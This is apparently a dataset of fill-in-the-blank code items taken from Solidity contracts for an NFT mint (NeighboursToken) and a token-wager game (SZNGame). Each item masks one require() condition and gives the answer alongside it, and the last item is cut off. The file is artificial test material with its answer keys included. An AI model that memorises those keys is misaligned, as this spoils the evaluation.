/// @notice TokenId -> Metadata IPFS CID mapping
mapping(uint => string) private _tokenCIDs;
/// @notice ImageId -> TokenId mapping
mapping(uint => uint) private _imageTokens;
/// @notice TokenId -> Is painting ordered for token mapping
mapping(uint => bool) private _tokenPaintingOrdered;
/// @notice Mint allowing flag
bool private _mintAllowed = false;
/// @notice Current images pool for minting
uint[] private _imagesToMint;
/// @notice Current images pool for minting length
uint private _imagesToMintLength;
/// @notice Mint price
uint private _mintPrice;
/// @notice Mint unique price
uint private _mintUniquePrice;
/// @notice Order painting price
uint private _paintingPrice;
/// @notice COO address
address private _COO;
/// Events
/// @notice Emits when mint price set
/// @param mintPrice Price for mint in WEI
event MintPriceSet(uint mintPrice);
/// @notice Emits when mint unique price set
/// @param mintUniquePrice Price for unique mint in WEI
event MintUniquePriceSet(uint mintUniquePrice);
/// @notice Emits when order painting price set
/// @param paintingPrice Price for order painting in WEI
event PaintingPriceSet(uint paintingPrice);
/// @notice Emits when mint allowance set
/// @param allowed Mint allowance
event MintAllowanceSet(bool allowed);
/// @notice Emits when image ids to mint set
/// @param _images Image ids to mint array
event ImagesToMintSet(uint[] _images);
/// @notice Emits when new token bought
/// @param from Caller address
/// @param to New token owner address
/// @param tokenId New token id
/// @param imageId Image id on the basis of which the token was bought
/// @param price Token price in WEI
event TokenBought(address from, address to, uint tokenId, uint imageId, uint price);
/// @notice Emits when new unique token bought
/// @param from Caller address
/// @param to New token owner address
/// @param tokenId New token id
/// @param imageId Image id on the basis of which the unique token was bought
/// @param price Token price in WEI
event TokenUniqueBought(address from, address to, uint tokenId, uint imageId, uint price);
/// @notice Emits when new unique token bought
/// @param to Token owner address
/// @param tokenId Token id
/// @param price Painting price in WEI
event TokenPaintingOrdered(address to, uint tokenId, uint price);
/// @notice Emits when token metadata CID set
/// @param tokenId Token id
/// @param metaCID Metadata IPFS CID
event TokenMetaCIDSet(uint tokenId, string metaCID);
/// @notice Emits when token metadata CID set
/// @param operator Caller address
/// @param to Destination wallet address
/// @param amount Withdrawn amount in WEI
event EthersWithdrawn(address indexed operator, address indexed to, uint amount);
/// Function modifiers
/// @notice Prevent call function if minting not allowed
modifier ifMintAllowed() {
}
/// @notice Prevent call function from any wallets except COO or owner
modifier onlyCOO() {
require(<FILL_ME>)
_;
}
/// @notice Contract constructor
constructor() ERC721("NeighboursToken", "NGT") {}
/// @notice Get COO wallet address
/// @return COO wallet address
function COO() external view returns (address) {
}
/// @notice Set COO wallet address
/// @param _coo COO wallet address
function setCOO(address _coo) external onlyOwner {
}
/// @notice Get mint allowance
/// @return Mint allowance flag
function mintAllowed() external view returns (bool) {
}
/// @notice Set mint allowance
/// @param _mintAllowedParam Mint allowance flag
function setMintAllowed(bool _mintAllowedParam) external onlyOwner {
}
/// @notice Get mint price
/// @return Mint price in WEI
function mintPrice() external view returns (uint) {
}
/// @notice Set mint price
/// @param _mintPriceParam Mint price in WEI
function setMintPrice(uint _mintPriceParam) external onlyOwner {
}
/// @notice Get mint unique price
/// @return Mint unique price in WEI
function mintUniquePrice() external view returns (uint) {
}
/// @notice Set mint unique price
/// @param _mintUniquePriceParam Mint unique price in WEI
function setMintUniquePrice(uint _mintUniquePriceParam) external onlyOwner {
}
/// @notice Get painting ordering price
/// @return Painting ordering price in WEI
function paintingPrice() external view returns (uint) {
}
/// @notice Set painting ordering price
/// @param _paintingPriceParam Painting ordering price in WEI
function setPaintingPrice(uint _paintingPriceParam) external onlyOwner {
}
/// @notice Get default metadata CID for new tokens
/// @return Metadata IPFS CID
function defaultMetaCID() view external returns (string memory) {
}
/// @notice Set default metadata CID for new tokens
/// @param defaultMetaCIDParam Metadata IPFS CID
function setDefaultMetaCID(string memory defaultMetaCIDParam) external onlyCOO {
}
/// @notice Get current image ids for minting
/// @return Image ids array
function imagesToMint() external view returns (uint[] memory) {
}
/// @notice Set current images pool for minting
/// @param _images Image ids array
function setImagesToMint(uint[] calldata _images) external onlyOwner {
}
/// @notice Internal minting helper
/// @param to Token owner address
/// @param imageId Image id
/// @return New token id
function _mintNewToken(address to, uint imageId) internal returns (uint) {
}
/// @notice Mint gift token
/// @param to Token owner address
/// @param imageId Image id
function giftMint(address to, uint imageId) external onlyOwner {
}
/// @notice Mint token
/// @param to Token owner address
/// @param imageId Image id
function mint(address to, uint imageId) external payable ifMintAllowed {
}
/// @notice Mint unique token
/// @param to Token owner address
function mintUnique(address to) external payable ifMintAllowed {
}
/// @notice Order original painting for token
/// @param tokenId Token id
function orderPainting(uint tokenId) external payable ifMintAllowed {
}
/// @notice Get whether the original was ordered for a token
/// @param tokenId Token id
/// @return Is the original was ordered for a token
function tokenPaintingOrdered(uint tokenId) external view returns (bool) {
}
/// @notice Internal helper for image reserving
/// @param imageId Image id
/// @return Success flag
function _reserveImage(uint imageId) internal returns (bool) {
}
/// @notice Set token metadata IPFS CID
/// @param tokenId Token id
/// @param metaCID Metadata IPFS CID
function setTokenMetaCID(uint tokenId, string calldata metaCID) external onlyCOO {
}
/// @notice Get token metadata IPFS URI
/// @param tokenId Token id
/// @return metadata IPFS URI
function tokenURI(uint tokenId) public view override returns (string memory) {
}
/// @notice Withdraw ethers from contract
/// @param amount Amount in WEI
/// @param to Destination wallet address
function withdrawEthers(uint amount, address payable to) external onlyOwner {
}
}
| (owner()==_msgSender())||(_COO==_msgSender()),"NeighboursToken: not enough privileges to call method" | 234,080 | (owner()==_msgSender())||(_COO==_msgSender()) |
"NeighboursToken: image already taken" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/// @title NeighboursToken Contract
/// @author Neighbours team
/// @notice We are The Neighbours - a squad of diverse, yet like-minded cosmic hobos. We express our skills in fantastic paintings and convert them into NFT collectibles. Join us now to discover more!
contract NeighboursToken is ERC721, Ownable {
/// @notice Openzeppelin type bindings
using Address for address payable;
using Strings for uint256;
using Counters for Counters.Counter;
/// Vars
/// @notice Start ID for unique Neighbours
uint constant UNIQUE_IMAGE_ID_START = 10000;
/// @notice Tokens counter
Counters.Counter private _tokenIdCounter;
/// @notice Unique tokens counter
Counters.Counter private _uniqueImageIdCounter;
/// @notice Default metadata IPFS CID
string private _defaultMetaCID;
/// @notice TokenId -> Metadata IPFS CID mapping
mapping(uint => string) private _tokenCIDs;
/// @notice ImageId -> TokenId mapping
mapping(uint => uint) private _imageTokens;
/// @notice TokenId -> Is painting ordered for token mapping
mapping(uint => bool) private _tokenPaintingOrdered;
/// @notice Mint allowing flag
bool private _mintAllowed = false;
/// @notice Current images pool for minting
uint[] private _imagesToMint;
/// @notice Current images pool for minting length
uint private _imagesToMintLength;
/// @notice Mint price
uint private _mintPrice;
/// @notice Mint unique price
uint private _mintUniquePrice;
/// @notice Order painting price
uint private _paintingPrice;
/// @notice COO address
address private _COO;
/// Events
/// @notice Emits when mint price set
/// @param mintPrice Price for mint in WEI
event MintPriceSet(uint mintPrice);
/// @notice Emits when mint unique price set
/// @param mintUniquePrice Price for unique mint in WEI
event MintUniquePriceSet(uint mintUniquePrice);
/// @notice Emits when order painting price set
/// @param paintingPrice Price for order painting in WEI
event PaintingPriceSet(uint paintingPrice);
/// @notice Emits when mint allowance set
/// @param allowed Mint allowance
event MintAllowanceSet(bool allowed);
/// @notice Emits when image ids to mint set
/// @param _images Image ids to mint array
event ImagesToMintSet(uint[] _images);
/// @notice Emits when new token bought
/// @param from Caller address
/// @param to New token owner address
/// @param tokenId New token id
/// @param imageId Image id on the basis of which the token was bought
/// @param price Token price in WEI
event TokenBought(address from, address to, uint tokenId, uint imageId, uint price);
/// @notice Emits when new unique token bought
/// @param from Caller address
/// @param to New token owner address
/// @param tokenId New token id
/// @param imageId Image id on the basis of which the unique token was bought
/// @param price Token price in WEI
event TokenUniqueBought(address from, address to, uint tokenId, uint imageId, uint price);
/// @notice Emits when new unique token bought
/// @param to Token owner address
/// @param tokenId Token id
/// @param price Painting price in WEI
event TokenPaintingOrdered(address to, uint tokenId, uint price);
/// @notice Emits when token metadata CID set
/// @param tokenId Token id
/// @param metaCID Metadata IPFS CID
event TokenMetaCIDSet(uint tokenId, string metaCID);
/// @notice Emits when token metadata CID set
/// @param operator Caller address
/// @param to Destination wallet address
/// @param amount Withdrawn amount in WEI
event EthersWithdrawn(address indexed operator, address indexed to, uint amount);
/// Function modifiers
/// @notice Prevent call function if minting not allowed
modifier ifMintAllowed() {
}
/// @notice Prevent call function from any wallets except COO or owner
modifier onlyCOO() {
}
/// @notice Contract constructor
constructor() ERC721("NeighboursToken", "NGT") {}
/// @notice Get COO wallet address
/// @return COO wallet address
function COO() external view returns (address) {
}
/// @notice Set COO wallet address
/// @param _coo COO wallet address
function setCOO(address _coo) external onlyOwner {
}
/// @notice Get mint allowance
/// @return Mint allowance flag
function mintAllowed() external view returns (bool) {
}
/// @notice Set mint allowance
/// @param _mintAllowedParam Mint allowance flag
function setMintAllowed(bool _mintAllowedParam) external onlyOwner {
}
/// @notice Get mint price
/// @return Mint price in WEI
function mintPrice() external view returns (uint) {
}
/// @notice Set mint price
/// @param _mintPriceParam Mint price in WEI
function setMintPrice(uint _mintPriceParam) external onlyOwner {
}
/// @notice Get mint unique price
/// @return Mint unique price in WEI
function mintUniquePrice() external view returns (uint) {
}
/// @notice Set mint unique price
/// @param _mintUniquePriceParam Mint unique price in WEI
function setMintUniquePrice(uint _mintUniquePriceParam) external onlyOwner {
}
/// @notice Get painting ordering price
/// @return Painting ordering price in WEI
function paintingPrice() external view returns (uint) {
}
/// @notice Set painting ordering price
/// @param _paintingPriceParam Painting ordering price in WEI
function setPaintingPrice(uint _paintingPriceParam) external onlyOwner {
}
/// @notice Get default metadata CID for new tokens
/// @return Metadata IPFS CID
function defaultMetaCID() view external returns (string memory) {
}
/// @notice Set default metadata CID for new tokens
/// @param defaultMetaCIDParam Metadata IPFS CID
function setDefaultMetaCID(string memory defaultMetaCIDParam) external onlyCOO {
}
/// @notice Get current image ids for minting
/// @return Image ids array
function imagesToMint() external view returns (uint[] memory) {
}
/// @notice Set current images pool for minting
/// @param _images Image ids array
function setImagesToMint(uint[] calldata _images) external onlyOwner {
}
/// @notice Internal minting helper
/// @param to Token owner address
/// @param imageId Image id
/// @return New token id
function _mintNewToken(address to, uint imageId) internal returns (uint) {
require(<FILL_ME>)
_tokenIdCounter.increment();
uint tokenId = _tokenIdCounter.current();
_safeMint(to, tokenId);
_imageTokens[imageId] = tokenId;
return tokenId;
}
/// @notice Mint gift token
/// @param to Token owner address
/// @param imageId Image id
function giftMint(address to, uint imageId) external onlyOwner {
}
/// @notice Mint token
/// @param to Token owner address
/// @param imageId Image id
function mint(address to, uint imageId) external payable ifMintAllowed {
}
/// @notice Mint unique token
/// @param to Token owner address
function mintUnique(address to) external payable ifMintAllowed {
}
/// @notice Order original painting for token
/// @param tokenId Token id
function orderPainting(uint tokenId) external payable ifMintAllowed {
}
/// @notice Get whether the original was ordered for a token
/// @param tokenId Token id
/// @return Is the original was ordered for a token
function tokenPaintingOrdered(uint tokenId) external view returns (bool) {
}
/// @notice Internal helper for image reserving
/// @param imageId Image id
/// @return Success flag
function _reserveImage(uint imageId) internal returns (bool) {
}
/// @notice Set token metadata IPFS CID
/// @param tokenId Token id
/// @param metaCID Metadata IPFS CID
function setTokenMetaCID(uint tokenId, string calldata metaCID) external onlyCOO {
}
/// @notice Get token metadata IPFS URI
/// @param tokenId Token id
/// @return metadata IPFS URI
function tokenURI(uint tokenId) public view override returns (string memory) {
}
/// @notice Withdraw ethers from contract
/// @param amount Amount in WEI
/// @param to Destination wallet address
function withdrawEthers(uint amount, address payable to) external onlyOwner {
}
}
| _imageTokens[imageId]==0,"NeighboursToken: image already taken" | 234,080 | _imageTokens[imageId]==0 |
"NeighboursToken: this image minting not allowed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/// @title NeighboursToken Contract
/// @author Neighbours team
/// @notice We are The Neighbours - a squad of diverse, yet like-minded cosmic hobos. We express our skills in fantastic paintings and convert them into NFT collectibles. Join us now to discover more!
contract NeighboursToken is ERC721, Ownable {
/// @notice Openzeppelin type bindings
using Address for address payable;
using Strings for uint256;
using Counters for Counters.Counter;
/// Vars
/// @notice Start ID for unique Neighbours
uint constant UNIQUE_IMAGE_ID_START = 10000;
/// @notice Tokens counter
Counters.Counter private _tokenIdCounter;
/// @notice Unique tokens counter
Counters.Counter private _uniqueImageIdCounter;
/// @notice Default metadata IPFS CID
string private _defaultMetaCID;
/// @notice TokenId -> Metadata IPFS CID mapping
mapping(uint => string) private _tokenCIDs;
/// @notice ImageId -> TokenId mapping
mapping(uint => uint) private _imageTokens;
/// @notice TokenId -> Is painting ordered for token mapping
mapping(uint => bool) private _tokenPaintingOrdered;
/// @notice Mint allowing flag
bool private _mintAllowed = false;
/// @notice Current images pool for minting
uint[] private _imagesToMint;
/// @notice Current images pool for minting length
uint private _imagesToMintLength;
/// @notice Mint price
uint private _mintPrice;
/// @notice Mint unique price
uint private _mintUniquePrice;
/// @notice Order painting price
uint private _paintingPrice;
/// @notice COO address
address private _COO;
/// Events
/// @notice Emits when mint price set
/// @param mintPrice Price for mint in WEI
event MintPriceSet(uint mintPrice);
/// @notice Emits when mint unique price set
/// @param mintUniquePrice Price for unique mint in WEI
event MintUniquePriceSet(uint mintUniquePrice);
/// @notice Emits when order painting price set
/// @param paintingPrice Price for order painting in WEI
event PaintingPriceSet(uint paintingPrice);
/// @notice Emits when mint allowance set
/// @param allowed Mint allowance
event MintAllowanceSet(bool allowed);
/// @notice Emits when image ids to mint set
/// @param _images Image ids to mint array
event ImagesToMintSet(uint[] _images);
/// @notice Emits when new token bought
/// @param from Caller address
/// @param to New token owner address
/// @param tokenId New token id
/// @param imageId Image id on the basis of which the token was bought
/// @param price Token price in WEI
event TokenBought(address from, address to, uint tokenId, uint imageId, uint price);
/// @notice Emits when new unique token bought
/// @param from Caller address
/// @param to New token owner address
/// @param tokenId New token id
/// @param imageId Image id on the basis of which the unique token was bought
/// @param price Token price in WEI
event TokenUniqueBought(address from, address to, uint tokenId, uint imageId, uint price);
/// @notice Emits when new unique token bought
/// @param to Token owner address
/// @param tokenId Token id
/// @param price Painting price in WEI
event TokenPaintingOrdered(address to, uint tokenId, uint price);
/// @notice Emits when token metadata CID set
/// @param tokenId Token id
/// @param metaCID Metadata IPFS CID
event TokenMetaCIDSet(uint tokenId, string metaCID);
/// @notice Emits when token metadata CID set
/// @param operator Caller address
/// @param to Destination wallet address
/// @param amount Withdrawn amount in WEI
event EthersWithdrawn(address indexed operator, address indexed to, uint amount);
/// Function modifiers
/// @notice Prevent call function if minting not allowed
modifier ifMintAllowed() {
}
/// @notice Prevent call function from any wallets except COO or owner
modifier onlyCOO() {
}
/// @notice Contract constructor
constructor() ERC721("NeighboursToken", "NGT") {}
/// @notice Get COO wallet address
/// @return COO wallet address
function COO() external view returns (address) {
}
/// @notice Set COO wallet address
/// @param _coo COO wallet address
function setCOO(address _coo) external onlyOwner {
}
/// @notice Get mint allowance
/// @return Mint allowance flag
function mintAllowed() external view returns (bool) {
}
/// @notice Set mint allowance
/// @param _mintAllowedParam Mint allowance flag
function setMintAllowed(bool _mintAllowedParam) external onlyOwner {
}
/// @notice Get mint price
/// @return Mint price in WEI
function mintPrice() external view returns (uint) {
}
/// @notice Set mint price
/// @param _mintPriceParam Mint price in WEI
function setMintPrice(uint _mintPriceParam) external onlyOwner {
}
/// @notice Get mint unique price
/// @return Mint unique price in WEI
function mintUniquePrice() external view returns (uint) {
}
/// @notice Set mint unique price
/// @param _mintUniquePriceParam Mint unique price in WEI
function setMintUniquePrice(uint _mintUniquePriceParam) external onlyOwner {
}
/// @notice Get painting ordering price
/// @return Painting ordering price in WEI
function paintingPrice() external view returns (uint) {
}
/// @notice Set painting ordering price
/// @param _paintingPriceParam Painting ordering price in WEI
function setPaintingPrice(uint _paintingPriceParam) external onlyOwner {
}
/// @notice Get default metadata CID for new tokens
/// @return Metadata IPFS CID
function defaultMetaCID() view external returns (string memory) {
}
/// @notice Set default metadata CID for new tokens
/// @param defaultMetaCIDParam Metadata IPFS CID
function setDefaultMetaCID(string memory defaultMetaCIDParam) external onlyCOO {
}
/// @notice Get current image ids for minting
/// @return Image ids array
function imagesToMint() external view returns (uint[] memory) {
}
/// @notice Set current images pool for minting
/// @param _images Image ids array
function setImagesToMint(uint[] calldata _images) external onlyOwner {
}
/// @notice Internal minting helper
/// @param to Token owner address
/// @param imageId Image id
/// @return New token id
function _mintNewToken(address to, uint imageId) internal returns (uint) {
}
/// @notice Mint gift token
/// @param to Token owner address
/// @param imageId Image id
function giftMint(address to, uint imageId) external onlyOwner {
}
/// @notice Mint token
/// @param to Token owner address
/// @param imageId Image id
function mint(address to, uint imageId) external payable ifMintAllowed {
require(msg.value >= _mintPrice, "NeighboursToken: not enough value");
require(<FILL_ME>)
uint tokenId = _mintNewToken(to, imageId);
emit TokenBought(_msgSender(), to, tokenId, imageId, msg.value);
}
/// @notice Mint unique token
/// @param to Token owner address
function mintUnique(address to) external payable ifMintAllowed {
}
/// @notice Order original painting for token
/// @param tokenId Token id
function orderPainting(uint tokenId) external payable ifMintAllowed {
}
/// @notice Get whether the original was ordered for a token
/// @param tokenId Token id
/// @return Is the original was ordered for a token
function tokenPaintingOrdered(uint tokenId) external view returns (bool) {
}
/// @notice Internal helper for image reserving
/// @param imageId Image id
/// @return Success flag
function _reserveImage(uint imageId) internal returns (bool) {
}
/// @notice Set token metadata IPFS CID
/// @param tokenId Token id
/// @param metaCID Metadata IPFS CID
function setTokenMetaCID(uint tokenId, string calldata metaCID) external onlyCOO {
}
/// @notice Get token metadata IPFS URI
/// @param tokenId Token id
/// @return metadata IPFS URI
function tokenURI(uint tokenId) public view override returns (string memory) {
}
/// @notice Withdraw ethers from contract
/// @param amount Amount in WEI
/// @param to Destination wallet address
function withdrawEthers(uint amount, address payable to) external onlyOwner {
}
}
| _reserveImage(imageId),"NeighboursToken: this image minting not allowed" | 234,080 | _reserveImage(imageId) |
"You already have a game" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
}
function operator() public view returns (address) {
}
modifier onlyOperator() {
}
function isOperator() public view returns (bool) {
}
function transferOperator(address newOperator_) public onlyOwner {
}
function _transferOperator(address newOperator_) internal {
}
}
contract SZNGame is Ownable, Operator {
struct Game {
uint gameId;
address player1;
address player2;
address winner;
bool canceled;
uint bid;
uint8 bidType;
uint started;
uint finished;
}
mapping(uint8 => uint) public _gameIds;
mapping(uint => Game) public _games;
mapping(uint8 => uint) public _bids;
mapping(uint8 => uint) public _gameQueue;
mapping(address => uint) public _walletGameIds;
address public _sznAddress;
event GameCreated(uint gameId, address player1);
event GameStarted(uint gameId, address player1, address player2);
constructor(address sznAddress) {
}
function myGame() external view returns (Game memory) {
}
function connectGame(uint8 bidType) external {
require(<FILL_ME>)
if (_bids[bidType] > 0) {
ERC20(_sznAddress).transferFrom(_msgSender(), address(this), _bids[bidType]);
}
if (_gameQueue[bidType] != 0) {
startGame(_gameQueue[bidType]);
} else {
_gameIds[bidType] += 1;
createGame(_gameIds[bidType], bidType);
}
}
function createGame(uint gameId, uint8 bidType) internal {
}
function startGame(uint gameId) internal {
}
function cancelGameWaiting(uint gameId) external {
}
function endGame(uint gameId, address winner) external onlyOperator {
}
function endDrawGame(uint gameId) external onlyOperator {
}
function checkGameActive(uint gameId) internal {
}
function checkGameCreated(uint gameId) internal {
}
function finishGame(uint gameId, address winner) internal {
}
function transferToken(address to, uint tokens) internal {
}
function setBid(uint8 bidType, uint bid) external onlyOperator {
}
}
| _walletGameIds[_msgSender()]==0,"You already have a game" | 234,241 | _walletGameIds[_msgSender()]==0 |
"Already cancelled" | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
}
function operator() public view returns (address) {
}
modifier onlyOperator() {
}
function isOperator() public view returns (bool) {
}
function transferOperator(address newOperator_) public onlyOwner {
}
function _transferOperator(address newOperator_) internal {
}
}
contract SZNGame is Ownable, Operator {
struct Game {
uint gameId;
address player1;
address player2;
address winner;
bool canceled;
uint bid;
uint8 bidType;
uint started;
uint finished;
}
mapping(uint8 => uint) public _gameIds;
mapping(uint => Game) public _games;
mapping(uint8 => uint) public _bids;
mapping(uint8 => uint) public _gameQueue;
mapping(address => uint) public _walletGameIds;
address public _sznAddress;
event GameCreated(uint gameId, address player1);
event GameStarted(uint gameId, address player1, address player2);
constructor(address sznAddress) {
}
function myGame() external view returns (Game memory) {
}
function connectGame(uint8 bidType) external {
}
function createGame(uint gameId, uint8 bidType) internal {
}
function startGame(uint gameId) internal {
}
function cancelGameWaiting(uint gameId) external {
checkGameCreated(gameId);
require(<FILL_ME>)
_games[gameId].canceled = true;
_gameQueue[_games[gameId].bidType] = 0;
_walletGameIds[_msgSender()] = 0;
if (_games[gameId].bid > 0) {
transferToken(_msgSender(), _games[gameId].bid);
}
}
function endGame(uint gameId, address winner) external onlyOperator {
}
function endDrawGame(uint gameId) external onlyOperator {
}
function checkGameActive(uint gameId) internal {
}
function checkGameCreated(uint gameId) internal {
}
function finishGame(uint gameId, address winner) internal {
}
function transferToken(address to, uint tokens) internal {
}
function setBid(uint8 bidType, uint bid) external onlyOperator {
}
}
| _games[gameId].canceled==false,"Already cancelled" | 234,241 | _games[gameId].canceled==false |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
}
function operator() public view returns (address) {
}
modifier onlyOperator() {
}
function isOperator() public view returns (bool) {
}
function transferOperator(address newOperator_) public onlyOwner {
}
function _transferOperator(address newOperator_) internal {
}
}
contract SZNGame is Ownable, Operator {
struct Game {
uint gameId;
address player1;
address player2;
address winner;
bool canceled;
uint bid;
uint8 bidType;
uint started;
uint finished;
}
mapping(uint8 => uint) public _gameIds;
mapping(uint => Game) public _games;
mapping(uint8 => uint) public _bids;
mapping(uint8 => uint) public _gameQueue;
mapping(address => uint) public _walletGameIds;
address public _sznAddress;
event GameCreated(uint gameId, address player1);
event GameStarted(uint gameId, address player1, address player2);
constructor(address sznAddress) {
}
function myGame() external view returns (Game memory) {
}
function connectGame(uint8 bidType) external {
}
function createGame(uint gameId, uint8 bidType) internal {
}
function startGame(uint gameId) internal {
}
function cancelGameWaiting(uint gameId) external {
}
function endGame(uint gameId, address winner) external onlyOperator {
if (_games[gameId].winner == address(0)) {
checkGameActive(gameId);
require(<FILL_ME>)
if (_games[gameId].bid > 0) {
uint rewards = _games[gameId].bid * 3 / 4;
uint burnRewards = _games[gameId].bid * 1 / 4;
transferToken(winner, rewards);
transferToken(address(0xdead), burnRewards);
}
finishGame(gameId, winner);
}
}
function endDrawGame(uint gameId) external onlyOperator {
}
function checkGameActive(uint gameId) internal {
}
function checkGameCreated(uint gameId) internal {
}
function finishGame(uint gameId, address winner) internal {
}
function transferToken(address to, uint tokens) internal {
}
function setBid(uint8 bidType, uint bid) external onlyOperator {
}
}
| _games[gameId].player1==winner||_games[gameId].player2==winner | 234,241 | _games[gameId].player1==winner||_games[gameId].player2==winner |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
}
function operator() public view returns (address) {
}
modifier onlyOperator() {
}
function isOperator() public view returns (bool) {
}
function transferOperator(address newOperator_) public onlyOwner {
}
function _transferOperator(address newOperator_) internal {
}
}
contract SZNGame is Ownable, Operator {
struct Game {
uint gameId;
address player1;
address player2;
address winner;
bool canceled;
uint bid;
uint8 bidType;
uint started;
uint finished;
}
mapping(uint8 => uint) public _gameIds;
mapping(uint => Game) public _games;
mapping(uint8 => uint) public _bids;
mapping(uint8 => uint) public _gameQueue;
mapping(address => uint) public _walletGameIds;
address public _sznAddress;
event GameCreated(uint gameId, address player1);
event GameStarted(uint gameId, address player1, address player2);
constructor(address sznAddress) {
}
function myGame() external view returns (Game memory) {
}
function connectGame(uint8 bidType) external {
}
function createGame(uint gameId, uint8 bidType) internal {
}
function startGame(uint gameId) internal {
}
function cancelGameWaiting(uint gameId) external {
}
function endGame(uint gameId, address winner) external onlyOperator {
}
function endDrawGame(uint gameId) external onlyOperator {
}
function checkGameActive(uint gameId) internal {
require(<FILL_ME>)
require(_games[gameId].finished == 0);
}
function checkGameCreated(uint gameId) internal {
}
function finishGame(uint gameId, address winner) internal {
}
function transferToken(address to, uint tokens) internal {
}
function setBid(uint8 bidType, uint bid) external onlyOperator {
}
}
| _games[gameId].started!=0 | 234,241 | _games[gameId].started!=0 |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
}
function operator() public view returns (address) {
}
modifier onlyOperator() {
}
function isOperator() public view returns (bool) {
}
function transferOperator(address newOperator_) public onlyOwner {
}
function _transferOperator(address newOperator_) internal {
}
}
contract SZNGame is Ownable, Operator {
struct Game {
uint gameId;
address player1;
address player2;
address winner;
bool canceled;
uint bid;
uint8 bidType;
uint started;
uint finished;
}
mapping(uint8 => uint) public _gameIds;
mapping(uint => Game) public _games;
mapping(uint8 => uint) public _bids;
mapping(uint8 => uint) public _gameQueue;
mapping(address => uint) public _walletGameIds;
address public _sznAddress;
event GameCreated(uint gameId, address player1);
event GameStarted(uint gameId, address player1, address player2);
constructor(address sznAddress) {
}
function myGame() external view returns (Game memory) {
}
function connectGame(uint8 bidType) external {
}
function createGame(uint gameId, uint8 bidType) internal {
}
function startGame(uint gameId) internal {
}
function cancelGameWaiting(uint gameId) external {
}
function endGame(uint gameId, address winner) external onlyOperator {
}
function endDrawGame(uint gameId) external onlyOperator {
}
function checkGameActive(uint gameId) internal {
require(_games[gameId].started != 0);
require(<FILL_ME>)
}
function checkGameCreated(uint gameId) internal {
}
function finishGame(uint gameId, address winner) internal {
}
function transferToken(address to, uint tokens) internal {
}
function setBid(uint8 bidType, uint bid) external onlyOperator {
}
}
| _games[gameId].finished==0 | 234,241 | _games[gameId].finished==0 |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol';
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol';
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
}
function operator() public view returns (address) {
}
modifier onlyOperator() {
}
function isOperator() public view returns (bool) {
}
function transferOperator(address newOperator_) public onlyOwner {
}
function _transferOperator(address newOperator_) internal {
}
}
contract SZNGame is Ownable, Operator {
struct Game {
uint gameId;
address player1;
address player2;
address winner;
bool canceled;
uint bid;
uint8 bidType;
uint started;
uint finished;
}
mapping(uint8 => uint) public _gameIds;
mapping(uint => Game) public _games;
mapping(uint8 => uint) public _bids;
mapping(uint8 => uint) public _gameQueue;
mapping(address => uint) public _walletGameIds;
address public _sznAddress;
event GameCreated(uint gameId, address player1);
event GameStarted(uint gameId, address player1, address player2);
constructor(address sznAddress) {
}
function myGame() external view returns (Game memory) {
}
function connectGame(uint8 bidType) external {
}
function createGame(uint gameId, uint8 bidType) internal {
}
function startGame(uint gameId) internal {
}
